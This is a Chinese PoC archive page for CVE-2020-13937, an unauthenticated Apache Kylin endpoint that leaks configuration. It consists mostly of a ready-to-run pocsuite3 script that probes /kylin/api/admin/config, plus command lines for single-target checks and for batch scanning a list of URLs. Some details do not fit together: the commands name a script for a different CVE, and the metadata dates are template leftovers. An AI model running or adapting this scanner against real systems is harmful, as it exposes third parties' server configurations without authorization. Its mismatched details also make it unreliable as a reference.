支持本站 — 捐款将帮助我们持续运营

目标: 1000 元,已筹: 1000

100.0%

POC详情: 715744a3276233a50d9c4e5070e9e0d0471e1e13

来源
关联漏洞
标题:Apache Kylin 安全漏洞 (CVE-2020-13937)
Description:Apache Kylin是美国阿帕奇(Apache)软件基金会的一款开源的分布式分析型数据仓库。该产品主要提供Hadoop/Spark之上的SQL查询接口及多维分析(OLAP)等功能。 Apache Kylin 存在安全漏洞,该漏洞源于拥有一个静态的api,无需任何身份验证即可公开Kylin的配置信息。以下产品及版本受到影响:2.0.0, 2.1.0, 2.2.0, 2.3.0, 2.3.1, 2.3.2, 2.4.0, 2.4.1, 2.5.0, 2.5.1, 2.5.2, 2.6.0, 2.6.1,
Description
Apache Kylin有一个restful api会在没有任何认证的情况下暴露配置信息
介绍
 

# CVE-2020-13937

##   1.漏洞描述:

Apache Kylin有一个restful api会在没有任何认证的情况下暴露配置信息。

## 2复现

有漏洞对比

![image.png](https://cdn.nlark.com/yuque/0/2022/png/29412931/1665919511193-cb33c851-cb6a-4bb4-ae73-02a2a35f84b7.png)

无漏洞对比

![image.png](https://cdn.nlark.com/yuque/0/2022/png/29412931/1665919564425-e0262b83-8393-49c6-986e-202488741f8b.png)

编写poc

![image.png](https://cdn.nlark.com/yuque/0/2022/png/29412931/1665919680962-9e85a9e7-1630-4ea1-a269-579274de5568.png)

![image.png](https://cdn.nlark.com/yuque/0/2022/png/29412931/1665919738855-670f720e-eb08-4e72-8cb6-bc9eccc17303.png)

验证正确单个url :pocsuite -r CVE-2022-26134.py -u url

![image-20221018222425092](https://i0.hdslb.com/bfs/album/eed68e4b5964f0a317e667366ea60b8039b2e4d7.png)

验证错误单个url:pocsuite -r CVE-2022-26134.py -u url

![image-20221018222400312](https://i0.hdslb.com/bfs/album/090b6c808904f9d1cf1a44f50e5639f44489b5cf.png)

批量扫描:pocsuite -r CVE-2022-26134.py -u url.txt

![image-20221018222334282](https://i0.hdslb.com/bfs/album/307d8b0090fc875109e8e7c9e54577d4c0cd0d19.png)

##  3.脚本代码 

```python
from collections import OrderedDict
from pocsuite3.api import (
    Output,
    POCBase,
    POC_CATEGORY,
    register_poc,
    requests,
    VUL_TYPE,
    get_listener_ip,
    get_listener_port,
)
from pocsuite3.lib.core.interpreter_option import (
    OptString,
    OptDict,
    OptIP,
    OptPort,
    OptBool,
    OptInteger,
    OptFloat,
    OptItems,
)
from pocsuite3.modules.listener import REVERSE_PAYLOAD

# 以上就是各种导入模块而已 , 有的用了 , 有的灰色的就是没有使用模块中的内容

class DemoPOC(POCBase):
    vulID = "1571"  # ssvid ID 如果是提交漏洞的同时提交 PoC,则写成 0
    version = "1"  # 默认为1
    author = "kailing0220"  # PoC作者的大名
    vulDate = "2014-10-16"  # 漏洞公开的时间,不知道就写今天
    createDate = "2014-10-16"  # 编写 PoC 的日期
    updateDate = "2014-10-16"  # PoC 更新的时间,默认和编写时间一样
    references = ["http://wiki.peiqi.tech/wiki/webserver/Apache/Apache%20Kylin%20config%20%E6%9C%AA%E6%8E%88%E6%9D%83%E9%85%8D%E7%BD%AE%E6%B3%84%E9%9C%B2%20CVE-2020-13937.html"]  # 漏洞地址来源,0day不用写
    name = "CVE-2020-13937 PoC"  # PoC 名称
    appPowerLink = "http://wiki.peiqi.tech/wiki/webserver/Apache/Apache%20Kylin%20config%20%E6%9C%AA%E6%8E%88%E6%9D%83%E9%85%8D%E7%BD%AE%E6%B3%84%E9%9C%B2%20CVE-2020-13937.html"  # 漏洞厂商主页地址
    appName = "CVE-2020-13937"  # 漏洞应用名称
    appVersion = "all"  # 漏洞影响版本
    vulType = VUL_TYPE.UNAUTHORIZED_ACCESS  # 漏洞类型,类型参考见 漏洞类型规范表
    category = POC_CATEGORY.EXPLOITS.WEBAPP
    samples = []  # 测试样列,就是用 PoC 测试成功的网站
    install_requires = []  # PoC 第三方模块依赖,请尽量不要使用第三方模块,必要时请参考《PoC第三方模块依赖说明》填写
    desc = """
            Apache Kylin有一个restful api会在没有任何认证的情况下暴露配置信息。
        """  # 漏洞简要描述
    pocDesc = """
            poc的用法描述
        """  # POC用法描述
    # 各种变量的定义 , 关于poc的描述

    def _check(self):
        # 漏洞验证代码
        headers = {"Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9", "Connection": "close"}

        result = []
        # 一个异常处理 , 生怕站点关闭了 , 请求不到 , 代码报错不能运行
        try:
            url = self.url.strip() + "/kylin/api/admin/config"  # self.url 就是你指定的-u 参数的值
            res = requests.get(url=url, headers=headers, verify=False, allow_redirects=False, timeout=9)
            # 判断是否存在漏洞
            if res.status_code == 200 and 'config' in res.text:
                result.append(url)
        except Exception as e:
            print(e)
        # 跟 try ... except是一对的 , 最终一定会执行里面的代码 , 不管你是否报错
        finally:
            return result

    def _verify(self):
        # 验证模式 , 调用检查代码 ,
        result = {}
        res = self._check()  # res就是返回的结果列表
        if res:
            result['VerifyInfo'] = {}
            result['VerifyInfo']['Info'] = self.name
            result['VerifyInfo']['vul_url'] = self.url
            result['VerifyInfo']['vul_detail'] = self.desc
        return self.parse_verify(result)

    def _attack(self):
        # 攻击模式 , 就是在调用验证模式
        return self._verify()

    def parse_verify(self, result):
        # 解析认证 , 输出
        output = Output(self)
        # 根据result的bool值判断是否有漏洞
        if result:
            output.success(result)
        else:
            output.fail('Target is not vulnerable')
        return output


def other_fuc():
    pass


def other_utils_func():
    pass


# 注册 DemoPOC 类
register_poc(DemoPOC)
```

文件快照

[4.0K] /data/pocs/715744a3276233a50d9c4e5070e9e0d0471e1e13 ├── [5.8K] CVE-2020-13937.md ├── [4.1K] CVE-2020-13937.py └── [5.3K] README.md 0 directories, 3 files
神龙机器人已为您缓存
备注
    1. 建议优先通过来源进行访问。
    2. 如果因为来源失效或无法访问,请发送邮件到 f.jinxu#gmail.com 索取本地快照(把 # 换成 @)。
    3. 神龙已为您对 POC 代码进行快照,为了长期维护,请考虑为本地 POC 付费/捐赠,感谢您的支持。